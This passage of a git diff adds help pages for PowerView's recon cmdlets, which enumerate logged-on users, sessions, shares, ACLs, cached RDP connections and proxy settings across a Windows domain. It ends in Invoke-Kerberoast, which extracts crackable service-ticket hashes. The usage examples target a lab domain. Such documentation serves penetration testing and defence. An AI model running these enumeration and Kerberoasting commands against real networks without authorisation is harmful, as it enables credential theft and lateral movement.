TESTLAB\Ent... +S-1-5-21-89... +True False +primary.tes... +Administrators TESTLAB\Dom... +S-1-5-21-89... +True False + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx](http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together +http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370601(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLoggedon.md b/docs/Recon/Get-NetLoggedon.md new file mode 100755 index 0000000..024d1b2 --- /dev/null +++ b/docs/Recon/Get-NetLoggedon.md @@ -0,0 +1,100 @@ +# Get-NetLoggedon + +## SYNOPSIS +Returns users logged on the local (or a remote) machine. +Note: administrative rights needed for newer Windows OSes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetLoggedon [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetWkstaUserEnum Win32API call to query +a given host for actively logged on users. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLoggedon +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLoggedon -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetLoggedon +``` + +Returns all logged on users for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetLoggedon -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for logged on users (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LoggedOnUserInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetRDPSession.md b/docs/Recon/Get-NetRDPSession.md new file mode 100755 index 0000000..ff18322 --- /dev/null +++ b/docs/Recon/Get-NetRDPSession.md @@ -0,0 +1,104 @@ +# Get-NetRDPSession + +## SYNOPSIS +Returns remote desktop/session information for the local (or a remote) machine. + +Note: only members of the Administrators or Account Operators local group +can successfully execute this functionality on a remote target. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetRDPSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation +Win32API calls to query a given RDP remote service for active sessions and originating +IPs. +This is a replacement for qwinsta. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetRDPSession -ComputerName "sqlserver" +``` + +Returns active RDP/terminal sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetRDPSession +``` + +Returns active RDP/terminal sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetRDPSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for active sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RDPSessionInfo + +A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure, +with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetSession.md b/docs/Recon/Get-NetSession.md new file mode 100755 index 0000000..d9e2f50 --- /dev/null +++ b/docs/Recon/Get-NetSession.md @@ -0,0 +1,99 @@ +# Get-NetSession + +## SYNOPSIS +Returns session information for the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetSession [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetSessionEnum Win32API call to query +a given host for active sessions. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetSession +``` + +Returns active sessions on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetSession -ComputerName sqlserver +``` + +Returns active sessions on the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-NetSession +``` + +Returns active sessions on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetSession -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SessionInfo + +A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including +the CName/UserName/Time/IdleTime for each session, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-NetShare.md b/docs/Recon/Get-NetShare.md new file mode 100755 index 0000000..b3f2abe --- /dev/null +++ b/docs/Recon/Get-NetShare.md @@ -0,0 +1,100 @@ +# Get-NetShare + +## SYNOPSIS +Returns open shares on the local (or a remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetShare [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will execute the NetShareEnum Win32API call to query +a given host for open shares. +This is a replacement for "net share \\\\hostname". + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetShare +``` + +Returns active shares on the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetShare -ComputerName sqlserver +``` + +Returns active shares on the 'sqlserver' host + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-NetShare +``` + +Returns all shares for all computers in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetShare -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for shares (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +A PSCustomObject representing a SHARE_INFO_1 structure, including +the name/type/remark for each share, with the ComputerName added. + +## NOTES + +## RELATED LINKS + +[http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/](http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/) + diff --git a/docs/Recon/Get-PathAcl.md b/docs/Recon/Get-PathAcl.md new file mode 100755 index 0000000..448212f --- /dev/null +++ b/docs/Recon/Get-PathAcl.md @@ -0,0 +1,94 @@ +# Get-PathAcl + +## SYNOPSIS +Enumerates the ACL for a given file path. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID + +## SYNTAX + +``` +Get-PathAcl [-Path] [[-Credential] ] +``` + +## DESCRIPTION +Enumerates the ACL for a specified file/folder path, and translates +the access rules for each entry into readable formats. +If -Credential is passed, +Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-PathAcl "\\SERVER\Share\" +``` + +Returns ACLs for the given UNC share. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +gci .\test.txt | Get-PathAcl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +Get-PathAcl -Path "\\\\SERVER\Share\" -Credential $Cred + +## PARAMETERS + +### -Path +Specifies the local or remote path to enumerate the ACLs for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: FullName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target path. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +One of more paths to enumerate ACLs for. + +## OUTPUTS + +### PowerView.FileACL + +A custom object with the full path and associated ACL entries. + +## NOTES + +## RELATED LINKS + +[https://support.microsoft.com/en-us/kb/305144](https://support.microsoft.com/en-us/kb/305144) + diff --git a/docs/Recon/Get-RegLoggedOn.md b/docs/Recon/Get-RegLoggedOn.md new file mode 100755 index 0000000..2fd6e09 --- /dev/null +++ b/docs/Recon/Get-RegLoggedOn.md @@ -0,0 +1,89 @@ +# Get-RegLoggedOn + +## SYNOPSIS +Returns who is logged onto the local (or a remote) machine +through enumeration of remote registry keys. + +Note: This function requires only domain user rights on the +machine you're enumerating, but remote registry must be enabled. + +Author: Matt Kelly (@BreakersAll) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID + +## SYNTAX + +``` +Get-RegLoggedOn [[-ComputerName] ] +``` + +## DESCRIPTION +This function will query the HKU registry values to retrieve the local +logged on users SID and then attempt and reverse it. +Adapted technique from Sysinternal's PSLoggedOn script. +Benefit over +using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges +required (NetWkstaUserEnum requires remote admin access). + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-RegLoggedOn +``` + +Returns users actively logged onto the local host. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-RegLoggedOn -ComputerName sqlserver +``` + +Returns users actively logged onto the 'sqlserver' host. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainController | Get-RegLoggedOn +``` + +Returns users actively logged on all domain controllers. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIProcess.md b/docs/Recon/Get-WMIProcess.md new file mode 100755 index 0000000..481dbb6 --- /dev/null +++ b/docs/Recon/Get-WMIProcess.md @@ -0,0 +1,80 @@ +# Get-WMIProcess + +## SYNOPSIS +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIProcess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIProcess -ComputerName WINDOWS1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +A PSCustomObject containing the remote process information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegCachedRDPConnection.md b/docs/Recon/Get-WMIRegCachedRDPConnection.md new file mode 100755 index 0000000..fe60228 --- /dev/null +++ b/docs/Recon/Get-WMIRegCachedRDPConnection.md @@ -0,0 +1,99 @@ +# Get-WMIRegCachedRDPConnection + +## SYNOPSIS +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegCachedRDPConnection [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegCachedRDPConnection +``` + +Returns the RDP connection client information for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local +``` + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegCachedRDPConnection +``` + +Returns cached RDP information for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegLastLoggedOn.md b/docs/Recon/Get-WMIRegLastLoggedOn.md new file mode 100755 index 0000000..bed39e0 --- /dev/null +++ b/docs/Recon/Get-WMIRegLastLoggedOn.md @@ -0,0 +1,98 @@ +# Get-WMIRegLastLoggedOn + +## SYNOPSIS +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegLastLoggedOn [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 +``` + +Returns the last user logged onto WINDOWS1 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegMountedDrive.md b/docs/Recon/Get-WMIRegMountedDrive.md new file mode 100755 index 0000000..353bcf0 --- /dev/null +++ b/docs/Recon/Get-WMIRegMountedDrive.md @@ -0,0 +1,97 @@ +# Get-WMIRegMountedDrive + +## SYNOPSIS +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegMountedDrive [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to enumerate recently mounted network drives. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local +``` + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegProxy.md b/docs/Recon/Get-WMIRegProxy.md new file mode 100755 index 0000000..b5fe966 --- /dev/null +++ b/docs/Recon/Get-WMIRegProxy.md @@ -0,0 +1,93 @@ +# Get-WMIRegProxy + +## SYNOPSIS +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegProxy [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegProxy +``` + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Cred = Get-Credential "TESTLAB\administrator" +``` + +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +## PARAMETERS + +### -ComputerName +Specifies the system to enumerate proxy settings on. +Defaults to the local host. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +## OUTPUTS + +### PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Kerberoast.md b/docs/Recon/Invoke-Kerberoast.md new file mode 100755 index 0000000..edfb89b --- /dev/null +++ b/docs/Recon/Invoke-Kerberoast.md @@ -0,0 +1,233 @@ +# Invoke-Kerberoast + +## SYNOPSIS +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +## SYNTAX + +``` +Invoke-Kerberoast [[-Identity] ] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat \. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Kerberoast | fl +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Kerberoast -Domain dev.testlab.local | fl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose | fl + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server 